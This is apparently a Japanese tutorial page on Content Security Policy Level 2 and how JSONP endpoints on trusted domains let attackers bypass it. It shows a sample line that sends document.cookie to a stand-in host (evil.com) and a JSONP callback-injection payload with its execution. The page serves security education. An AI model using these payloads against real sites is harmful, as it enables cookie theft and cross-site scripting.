🔓 CSP Level 2の脆弱性を体験しよう!
📚 CSPとは?
Content Security Policy (CSP) は、ブラウザに「どのスクリプトを実行していいか」を指示するセキュリティ機能です。
Webサーバーが特別なHTTPヘッダーを送信することで、悪意のあるスクリプトの実行を防ぎます。
🎯 CSPが解決する問題
CSPなし(危険)
- すべてのスクリプトが実行される
- 攻撃者のスクリプトも実行される
- ユーザーの情報が盗まれる
CSPあり(安全)
- 許可したスクリプトのみ実行
- 攻撃者のスクリプトはブロック
- ユーザーの情報を保護
⚙️ CSPの仕組み
// 1. サーバーがCSPヘッダーを送信
HTTP/1.1 200 OK
Content-Security-Policy: script-src 'self' https://trusted.com
// 2. ブラウザがルールを適用
✅ <script src="/js/app.js"></script> // 自分のドメイン
✅ <script src="https://trusted.com/lib.js"></script> // 許可されたドメイン
❌ <script src="https://evil.com/hack.js"></script> // ブロック!
❌ <script>alert('inline')</script> // インラインもブロック!
✅ 正常なケース
信頼されたドメインからのスクリプトは問題なく実行されます。
// analytics.js の内容
function trackPageView() {
console.log("ページビューを記録しました");
return { pageviews: 1234, users: 567 };
}
// HTMLページ内のスクリプト
<script src="https://trusted-analytics.com/analytics.js"></script>
<script>
const stats = trackPageView();
console.log("統計データ:", stats);
</script>
⚠️ 攻撃の試み(通常は失敗)
信頼されていないドメインからのスクリプトはブロックされます。
<script src="https://evil-hacker.com/steal-data.js"></script>
<script>
// 攻撃者のコード(実行されない)
document.cookie;
fetch('https://evil.com/steal?data=' + document.cookie);
</script>
🤔 JSONPとは?
JSONP (JSON with Padding) は、異なるドメイン間でデータをやり取りするための古い技術です。
なぜJSONPが必要だったのか?
同一オリジンポリシーにより、JavaScriptは他のドメインのAPIを直接呼べません:
// これはエラーになる(他のドメインだから)
fetch('https://api.other-domain.com/data') // ❌ CORS error!
// でもscriptタグなら他のドメインもOK!
<script src="https://api.other-domain.com/jsonp"></script> // ✅ これは許可される
JSONPの仕組み
// 1. クライアント側:グローバル関数を用意
window.handleData = function(data) {
console.log("受け取ったデータ:", data);
}
// 2. scriptタグでJSONPエンドポイントを呼ぶ
<script src="https://api.example.com/jsonp?callback=handleData"></script>
// 3. サーバーが返すレスポンス(JavaScriptコードとして):
handleData({"users": 100, "status": "ok"});
// ↑callback名 ↑JSONデータ
⚠️ 問題点:callbackパラメータに任意の文字列を指定できてしまう!
💀 JSONPを使った攻撃(成功してしまう!)
信頼されたドメインにJSONPエンドポイントがある場合...
攻撃シナリオ:信頼された trusted-analytics.com には以下のようなJSONPエンドポイントが存在します:
https://trusted-analytics.com/api/jsonp?callback=[任意の関数名]
攻撃の流れ
Step 1
攻撃者がJSONPを発見
Step 2
callbackに悪意のあるコードを注入
Step 3
CSPは信頼されたドメインなので許可
Step 4
XSS攻撃成功!
JSONPバイパス攻撃の詳細
なぜCSP Level 2が破られるのか、順を追って見てみましょう。
前提条件:
- CSPで trusted-analytics.com を信頼している
- trusted-analytics.com にJSONPエンドポイントが存在する
- callbackパラメータが十分にサニタイズされていない
// 1. 正常な使い方
https://trusted-analytics.com/api/jsonp?callback=processData
// サーバーのレスポンス: processData({"analytics": "data"});
// 2. 攻撃者の悪用
https://trusted-analytics.com/api/jsonp?callback=console.log('XSS開始');document.cookie;//
// サーバーのレスポンス: console.log('XSS開始');document.cookie;//({"analytics": "data"});
// 3. ブラウザでの実行
console.log('XSS開始'); // 実行される!
document.cookie; // クッキーが読み取られる!
//({"analytics": "data"}); // これはコメントとして無視される
サーバーが返すレスポンス:
📊 なぜこれが深刻な問題なの?
- 信頼の連鎖問題:信頼したドメインの全てのエンドポイントを信頼することになる
- JSONPの普及:多くの有名サービスがJSONPエンドポイントを提供している
- Google Analytics (www.google-analytics.com)
- Twitter API (*.twitter.com)
- 多くのCDNサービス
- 94%が脆弱:Googleの調査では、CSPを使用しているサイトの94%がバイパス可能